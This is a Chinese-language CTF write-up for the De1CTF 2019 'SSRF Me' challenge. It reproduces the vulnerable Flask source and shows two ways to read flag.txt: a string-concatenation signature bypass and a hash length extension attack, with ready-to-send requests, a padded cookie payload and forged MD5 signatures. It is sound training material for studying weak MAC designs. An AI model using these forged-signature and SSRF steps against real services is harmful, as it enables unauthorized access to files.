[De1ctf 2019]SSRF Me
目录
点开是一段flask代码,经过还原后格式如下:
#!/usr/bin/env python
# encoding=utf-8
from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16) #秘钥长度16
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if not os.path.exists(self.sandbox): # SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if self.checkSign():
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if resp == "Connection Timeout":
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if getSign(self.action, self.param) == self.sign:
return True
else:
return False
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if waf(param):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt", "r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check = param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0', port=80)
这段代码使用 Python 的 Flask 框架实现了一个简单的 Web 应用。以下是代码的基本功能:
- 定义了一个名为 Task?的类,该类用于处理用户请求并执行相应的操作。
- 实例化了一个名为 app?的 Flask 应用对象。
- 定义了一个 /geneSign?路由,用于生成签名。
- 定义了一个 /De1ta?路由,用于处理用户的请求,并返回 JSON 格式的响应结果。
- 定义了一个 /?路由,用于返回一个名为 code.txt?的文件内容。
在 Task?类中,有以下几个方法:
- __init__(self, action, param, sign, ip):初始化方法,用于设置任务的属性,并创建一个与客户端 IP 相关的沙盒目录。
- Exec(self):执行任务的方法,根据不同的操作类型执行相应的动作,并返回执行结果。
- checkSign(self):检查签名的方法,验证请求中的签名是否正确。
- scan(param):扫描方法,尝试连接给定的 URL 并返回前 50 个字符的内容。
- getSign(action, param):生成签名的方法,使用 MD5 哈希算法对参数进行签名。
- md5(content):计算 MD5 哈希值的方法。
- waf(param):Web 应用防火墙(WAF)方法,用于检测参数是否包含潜在的攻击代码。
具体做题分析:
这里我们虽然无法直接读取flag.txt,但是可以传参给param参数读取
def scan(param):
????socket.setdefaulttimeout(1)
????try:
????????return urllib.urlopen(param).read()[:50]
????except:
????????return "Connection Timeout"
注意到一个生成签名的函数:
def?getSign(action,?param):?
return?hashlib.md5(secret_key +?param +?action).hexdigest()
以下代码得知action默认为”scan”
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
????param = urllib.unquote(request.args.get("param", ""))
????action = "scan"
return getSign(action, param)
也就是说如果访问/geneSign?param=flag.txt?,会得到一个 md5(这个md5相当于“secret_key +?flag.txt+?scan”的MD5加密)
注意到以下代码
if "scan" in self.action:
????????????????tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
????????????????resp = scan(self.param)
????????????????
????????????????if resp == "Connection Timeout":
????????????????????result['data'] = resp
????????????????else:
????????????????????print resp
????????????????????tmpfile.write(resp)
????????????????
????????????????tmpfile.close()
????????????????result['code'] = 200
????????????
if "read" in self.action:
????????????????f = open("./%s/result.txt" % self.sandbox, 'r')
????????????????result['code'] = 200
????????????????result['data'] = f.read()
? 这段程序会根据传入的任务动作self.action来执行不同的操作。如果任务动作是"scan",那么程序会执行scan函数来进行扫描操作,并将扫描结果写入一个临时文件中,文件路径为当前沙箱目录下的result.txt文件。
如果任务动作是"read",则程序会读取之前保存在临时文件中的扫描结果,并将结果保存在响应消息中,然后返回响应码200表示操作成功。
?如果action里面是“readscan”或者“scanread”则会先扫描并写入结果,后读取结果并回显。显然我们要构造readsacn以下提供两种解法:
字符串拼接:
访问 /geneSign?param=flag.txtread?,得到md5(secret_key +?flag.txtread+?scan)的值为33c3d402c2d927665edcfdbde564d14a?(也就相当于action变成了readscan然后拼接秘钥和flag.txt加密了),然后抓包直接访问 /De1ta?param=flag.txt?且构造cookie请求头Cookie:action=readscan;sign=33c3d402c2d927665edcfdbde564d14a
哈希拓展攻击:
相关文章:哈希拓展攻击CTF题做法-CSDN博客
??首先在kali下载相关工具hash-ext-attack:
????git clone https://github.com/shellfeel/hash-ext-attack.git
????cd /home/kali/hash-ext-attack/
????pip install -r requirements.txt
??在secret_key +?param +?action里,已知secert_key = os.urandom(16)(长度16),已知明文flag.txt和scan,我们需要添加read。
把flag.txt算进秘钥长度里,则秘钥长度为16+8,已知明文为scan,已知hash(secret_key +flag.txt+scan的加密)为8370a8f86a7a74b4053d1bc554a9d126,
扩展字符为read,启动刚刚的脚本依次填入得到新明文和新hash,
然后访问 /De1ta?param=flag.txt抓包添加cookie:
Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%E0%00%00%00%00%00%00%00read;sign=51550ee14b4e7b4e0479e5b44fc33d23
得到flag
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!